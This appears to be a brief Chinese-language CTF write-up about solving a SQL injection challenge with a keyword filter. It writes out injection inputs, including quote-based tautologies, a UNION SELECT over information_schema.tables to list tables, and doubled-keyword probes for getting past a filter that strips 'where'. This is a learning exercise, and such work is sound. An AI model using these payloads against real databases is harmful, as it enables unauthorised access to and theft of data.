慢慢开始做ctf吧。。
我的解题过程:
题目就是sql注入,先尝试简单的sql注入方式
一般的sql语句是:
sql = “SELECT * from - - - where 字段 = ’ - - -’ ;
常规注入:
‘=’
t’ or 1 = ‘1
t” or 1 = “1
输进去有了输出,但没有我们需要的flag
mysql中所有表都存在information_schema.tables,尝试获取所有表单,即
select table_name from information_schema.tables
尝试构造在输入中,合并两个select语句的字段是union
select * from table where ‘t’ union select table_name
from information_schema.tables where 1=’1’
当我把上述句子作为输入时,不报错,没结果。
我纳闷了一会,应该是有过滤的规则破坏了输入,题目也在问我到底过滤了什么???
测试用了一句输入
t’ union select table from tables where 1=’1
结果说’tables 1=’1’出错,这下知道了过滤了一些关键字如union、select、where、from。
试了半天。。输入
’ where where
终于得到了我想要的关键字where字段,
猜测过滤方式:
1>单纯删除第一个出现where
2>逆向删除第一个where
3>删除第一个出现的where+空格
4>删除所有的where+空格
尝试先输入不同的关键字组合
wherewhere+空格
空格+wherewhere
wherewhere where
where wherewhere
where+空格+where+空格
最终的结果希望观众也能自己尝试下~
最终的获取数据库中所有的表
有一个flag表(这个挺明显的)存放着答案
最后通过绕过上述过滤规则,从表中获取最后所需的flag。
后来上网查了下别人怎么做的。。怎么他们好像知道过滤规则似的。。